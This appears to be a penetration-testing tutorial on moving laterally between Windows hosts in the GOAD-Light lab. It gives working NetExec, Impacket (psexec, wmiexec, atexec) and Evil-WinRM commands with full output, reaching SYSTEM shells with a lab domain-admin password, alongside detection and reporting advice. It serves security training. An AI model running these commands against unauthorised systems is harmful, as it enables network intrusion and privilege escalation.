Lateral Movement on Windows with PsExec, WMI, and WinRM

You have domain credentials on one Windows host. Lateral movement is reusing that identity — or a hash or ticket from the same account — to reach another in-scope machine through a remote administration service.

Prerequisites: Deploy GOAD-Light on Proxmox finished and reachable from Kali on vmbr1. You also need domain credentials validated in NetExec remote command execution or pass-the-hash and pass-the-ticket.

Windows lateral movement quick start

The practical question is: I have credentials — how do I move to another Windows host?

Prerequisites

• Valid password, NTLM hash, or Kerberos ticket for the target identity
• Network reachability to another host in scope
• A remote service on that host that accepts the identity
• Authorization for remote execution on that service (local admin is common for PsExec and WMI; WinRM has its own remoting rules)

This walkthrough uses a plaintext domain-admin-capable password on GOAD-Light. Pass-the-hash and pass-the-ticket cover hash and ticket replay without the password.

Mental model

Valid credential
   ↓
nxc smb <range>  →  find SMB-admin-capable hosts
   ↓
Test the remote service you want to use
   ├─ PsExec       →  impacket-psexec  or  nxc --exec-method smbexec
   ├─ WMI          →  impacket-wmiexec  or  nxc --exec-method wmiexec
   ├─ Task Scheduler →  impacket-atexec  or  nxc --exec-method atexec
   └─ WinRM        →  evil-winrm  or  nxc winrm
   ↓
Confirm hostname + whoami on a different host

(Pwn3d!) on SMB means the credential has administrative access suitable for PsExec-style execution on that host. WMI and WinRM still need their own tests — protocol permissions and firewalls can differ.

Sweep the range for admin-capable SMB targets:

nxc smb 10.10.10.20-22 -u eddard.stark -p 'FightP3aceAndHonor!' -d north.sevenkingdoms.local

Look for (Pwn3d!) on the hosts you want to pivot to. On a target that shows it, try one SMB execution path:

impacket-psexec north.sevenkingdoms.local/eddard.stark:FightP3aceAndHonor!@10.10.10.22

When you need an interactive PowerShell session over WinRM:

evil-winrm -i 10.10.10.22 -u eddard.stark -p 'FightP3aceAndHonor!'

The sections below explain ports, protocol differences, and full lab output for each path.

What is lateral movement on Windows?

Lateral movement answers: Which other hosts can this identity administer, and through which protocol? You are not exploiting a new vulnerability — you are replaying an identity the domain already trusts against services that accept remote administration.

Common command-line execution channels from Kali:

• PsExec-style SMB execution — normally uploads a temporary service executable to a writable administrative share such as ADMIN$, then creates and starts a service over TCP 445; often runs as NT AUTHORITY\SYSTEM
• WMI / DCOM — creates a process through Win32_Process; begins on the RPC endpoint mapper (135) and negotiated dynamic RPC ports; Impacket wmiexec also uses SMB 445 for output
• Task Scheduler (atexec) — creates and runs a one-shot scheduled task over SMB/RPC; no persistent service and no WMI process creation
• WinRM — PowerShell remoting over HTTP(S) on port 5985 or 5986

RDP is another common Windows lateral-movement channel (T1021.001), but this tutorial focuses on command-line remote execution from Kali with PsExec, WMI, scheduled tasks, and WinRM.

MITRE ATT&CK maps SMB admin shares to T1021.002, DCOM-based remote services to T1021.003, WinRM to T1021.006, and Windows Management Instrumentation itself to T1047. WMI can operate through DCOM, but WMI process creation is its own technique.

If you have not confirmed that your recovered password still works on SMB, start with the NetExec and Impacket lesson — this chapter assumes authentication succeeds and focuses on moving between hosts.

Compare PsExec, WMI, WinRM, and scheduled tasks

Each technique needs different network paths and leaves a different execution context. Use this table after service discovery.

Port and protocol dependencies:

• PsExec and smbexec ride SMB (445) and named pipes / Service Control Manager RPC over SMB — TCP 135 is not a normal requirement for either
• WMI/DCOM starts on the RPC endpoint mapper (135), then uses dynamically assigned RPC ports; wmiexec still needs SMB 445 to retrieve command output
• atexec uses the Task Scheduler remote workflow over SMB/RPC; NetExec tries wmiexec, then atexec, then smbexec unless you force --exec-method
• WinRM is separate — open 5985 does not prove your account is authorized to remote, and SMB admin does not guarantee WinRM access

Set GOAD-Light lab variables

Export the same names on every Kali shell so targets stay consistent with the GOAD-Light deploy guide:

export DOMAIN_CHILD=north.sevenkingdoms.local
export LAB_MEMBER=10.10.10.22
export LAB_DC=10.10.10.21
export LAB_ADMIN_USER=eddard.stark
export LAB_ADMIN_PASS='FightP3aceAndHonor!'

What each variable points at:

• LAB_MEMBER (10.10.10.22) — member server castelblack; default target for PsExec and WMI
• LAB_DC (10.10.10.21) — child domain controller winterfell; WinRM demo against a DC
• LAB_ADMIN_USER / LAB_ADMIN_PASS — domain admin-capable account that earns (Pwn3d!) on child-domain hosts
• 10.10.10.20 (kingslanding) — parent forest sevenkingdoms.local; same password may log in without admin execution rights

Discover SMB, WMI, and WinRM services

Before you pick a technique, confirm which initial ports are open. These are the usual entry points:

• 445 — SMB; required for PsExec, smbexec, and WMI output through wmiexec
• 135 — RPC endpoint mapper; WMI/DCOM negotiation starts here (dynamic RPC ports follow)
• 5985 / 5986 — WinRM over HTTP / HTTPS

Run a focused Nmap scan on the three GOAD-Light Windows addresses:

nmap -Pn -p445,135,5985,5986 --open 10.10.10.20-22

PORT     STATE SERVICE
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
5985/tcp open  wsman
5986/tcp open  wsmans
...
Nmap done: 3 IP addresses (3 hosts up) scanned in 3.88 seconds

The scan shows these hosts expose the initial services used by SMB, RPC/WMI, and WinRM. Actual execution still depends on protocol-specific authorization and, for WMI/DCOM, reachability of the negotiated RPC endpoints. Open WinRM does not mean a particular credential is authorized for remoting.

For version banners on a single target, add -sV:

nmap -Pn -sV -p445,135,5985 --open "$LAB_MEMBER"

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Port 5985 labeled as http is normal — WinRM speaks HTTP on that port. Record open ports per host in your notes before execution attempts.

Map admin access across Windows hosts

Authentication on SMB is not the same as permission to move. Read the last column of each nxc smb line:

• [+] only — password works; you are not local admin on that host for SMB remote execution
• [+] with (Pwn3d!) — administrative SMB access; proceed with PsExec or smbexec on that host
• No [+] — wrong password, domain, or blocked SMB

For SMB, (Pwn3d!) identifies hosts where the credential has administrative access suitable for SMB-based execution such as PsExec. WMI and WinRM should still be tested independently because protocol permissions and network access can differ.

Sweep the in-scope range with one command:

nxc smb 10.10.10.20-22 -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD"

SMB         10.10.10.21  445  WINTERFELL   [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) ...
SMB         10.10.10.22  445  CASTELBLACK  [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) ...
SMB         10.10.10.20  445  KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) ...
SMB         10.10.10.21  445  WINTERFELL   [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB         10.10.10.22  445  CASTELBLACK  [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB         10.10.10.20  445  KINGSLANDING [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor!

How to read this sweep:

• winterfell and castelblack — (Pwn3d!) on both; your lateral-movement targets for this lesson
• kingslanding — [+] without (Pwn3d!); password works across the trust, but this account is not admin there

BloodHound automates the same graph question at scale (HasSession, AdminTo, shortest path to high value). NetExec gives you a quick SMB check from the shell when you already know the IP range.

Move laterally with PsExec and SMBExec

impacket-psexec normally uploads a temporary service executable to a writable administrative share such as ADMIN$, then creates and starts a service and runs your command. That path uses SMB 445 — not TCP 135:

impacket-psexec "$DOMAIN_CHILD/$LAB_ADMIN_USER:$LAB_ADMIN_PASS@$LAB_MEMBER"

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.10.10.22.....
[*] Found writable share ADMIN$
[*] Uploading file mXpVQtNJ.exe
[*] Opening SVCManager on 10.10.10.22.....
[*] Creating service nGTb on 10.10.10.22.....
[*] Starting service nGTb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

The service path explains the SYSTEM context — different from WMI or WinRM, which usually run as the authenticating user. Type exit to tear down the service. Impacket may print STATUS_PIPE_BROKEN while closing the pipe; that is harmless after whoami already returned.

NetExec also provides an smbexec service-based execution backend for one-shot commands. It uses the same general SMB/service-control family as PsExec, but the implementation differs — smbexec does not upload a RemCom-style binary the way impacket-psexec does:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" --exec-method smbexec -x whoami

SMB         10.10.10.22  445  CASTELBLACK  [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via smbexec
SMB         10.10.10.22  445  CASTELBLACK  nt authority\system

Document the execution method and account context in your report — blue teams correlate new services on ADMIN$ with PsExec-style activity.

Move laterally with WMI / WMIExec

WMI/DCOM begins through the RPC endpoint mapper on TCP 135, then uses dynamically assigned RPC ports. Impacket wmiexec creates a remote process that way and uses SMB 445 to retrieve command output.

Without --exec-method, NetExec starts with wmiexec for SMB command execution and can fall back to other supported backends if it fails. Use --exec-method wmiexec when you specifically want to test WMI execution:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" --exec-method wmiexec -x whoami

SMB         10.10.10.22  445  CASTELBLACK  [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via wmiexec
SMB         10.10.10.22  445  CASTELBLACK  north\eddard.stark

Here whoami shows the domain user, not SYSTEM — an important distinction when you chain to token abuse or need a stable named account in the log.

For a semi-interactive session, call Impacket directly:

impacket-wmiexec "$DOMAIN_CHILD/$LAB_ADMIN_USER:$LAB_ADMIN_PASS@$LAB_MEMBER"

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
north\eddard.stark

Open port 135 alone does not prove WMI execution will succeed — dynamic RPC ports must also be reachable, and SMB 445 is still required for output.

Move laterally with scheduled tasks / AtExec

atexec uses Windows Task Scheduler for remote command execution. Unlike PsExec or smbexec, it does not create a long-running service. Unlike wmiexec, it does not use WMI process creation. Impacket creates a one-shot task, runs your command, deletes the task, and reads output from ADMIN$\Temp.

NetExec includes atexec in its default SMB execution fallback chain (wmiexec → atexec → smbexec). Force it when you want to test that path explicitly:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" --exec-method atexec -x whoami

SMB         10.10.10.22  445  CASTELBLACK  [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  nt authority\system

The same workflow through Impacket directly:

impacket-atexec "$DOMAIN_CHILD/$LAB_ADMIN_USER:$LAB_ADMIN_PASS@$LAB_MEMBER" whoami

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating task \zmQLJJWv
[*] Running task \zmQLJJWv
[*] Deleting task \zmQLJJWv
[*] Attempting to read ADMIN$\Temp\zmQLJJWv.tmp
nt authority\system

On this lab host atexec returned SYSTEM, but task context depends on how the remote task is configured. Record the method and whoami output in your notes either way.

Move laterally with WinRM and Evil-WinRM

WinRM is the native remoting channel for PowerShell on 5985 or 5986. Test it on the domain controller the same way you tested SMB on the member server:

nxc winrm "$LAB_DC" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x hostname

WINRM       10.10.10.21  5985  WINTERFELL  [*] Windows 10 / Server 2019 Build 17763 (name:WINTERFELL) (domain:north.sevenkingdoms.local)
WINRM       10.10.10.21  5985  WINTERFELL  [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
WINRM       10.10.10.21  5985  WINTERFELL  [+] Executed command (shell type: cmd)
WINRM       10.10.10.21  5985  WINTERFELL  winterfell

The hostname in the last line confirms you moved from Kali to winterfell, not merely authenticated.

Repeat on castelblack to show WinRM works on member servers too:

nxc winrm "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x whoami

WINRM       10.10.10.22  5985  CASTELBLACK  [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
WINRM       10.10.10.22  5985  CASTELBLACK  [+] Executed command (shell type: cmd)
WINRM       10.10.10.22  5985  CASTELBLACK  north\eddard.stark

When you need a full PowerShell workspace, Evil-WinRM opens an interactive WinRM shell:

evil-winrm -i "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS"

Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\eddard.stark\Documents> whoami
north\eddard.stark

Upload, download, and Invoke-Binary features in Evil-WinRM help during post-exploitation. After pass-the-hash you can pass -H with the NT hash instead of -p when NTLM is accepted.

Default PowerShell remoting access normally centers on the Administrators group, although custom endpoints and remoting groups can change who is authorized. Sessions execute in the authenticated user's context on ports 5985 (HTTP) or 5986 (HTTPS).

What about RDP lateral movement?

RDP uses TCP/UDP 3389 and delivers an interactive desktop rather than command-only remote execution. The account must be allowed to log on through Remote Desktop Services. On Kali, xfreerdp is the usual client for authorized lab testing.

Restricted Admin mode becomes relevant when you move with an NT hash instead of a password — that workflow belongs in the pass-the-hash lesson. This chapter stays with command-line channels; RDP is here so you recognize the port and Logon Type 10 when it appears in discovery or reporting.

Choose a Windows lateral movement method

Use open services, authorization, and the privilege you need to pick a channel:

Re-run the port scan after firewall changes mid-engagement. A host that answered 5985 yesterday may not today.

Detect and report lateral movement

Blue teams and pen test reports should distinguish methods by artifacts, not only open ports:

At minimum, record source IP, target host, account, protocol, execution context (whoami result), and whether the attempt succeeded. That evidence supports both client reporting and defender hunt hypotheses.

Troubleshooting

Summary

Lateral movement on Windows means reusing a domain identity against remote administration services. The quick-start path is credential → nxc smb sweep for (Pwn3d!) → pick an open service → confirm hostname and whoami on a new host.

On GOAD-Light you scanned for SMB, RPC, and WinRM entry points, mapped admin SMB access on winterfell and castelblack, and moved with PsExec, WMI, atexec, and WinRM. PsExec, smbexec, and atexec returned NT AUTHORITY\SYSTEM while WMI and WinRM ran as north\eddard.stark — record that difference and the protocol-specific artifacts in engagement notes. Parent-domain kingslanding accepted the password but did not grant SMB execution rights, which is a common dead end across trust boundaries.

After you can reach multiple hosts, continue with pass-the-hash and pass-the-ticket to move without the plaintext password, and map longer paths in BloodHound before you spend time on interactive shells.

References

• MITRE ATT&CK T1021 — Remote Services
• MITRE ATT&CK T1021.001 — Remote Desktop Protocol
• MITRE ATT&CK T1021.002 — SMB/Windows Admin Shares
• MITRE ATT&CK T1021.003 — Distributed Component Object Model
• MITRE ATT&CK T1021.006 — Windows Remote Management
• MITRE ATT&CK T1047 — Windows Management Instrumentation
• Microsoft Learn — WinRM overview
• Impacket project (GitHub)
• Evil-WinRM project (GitHub)
• GOAD-Light lab description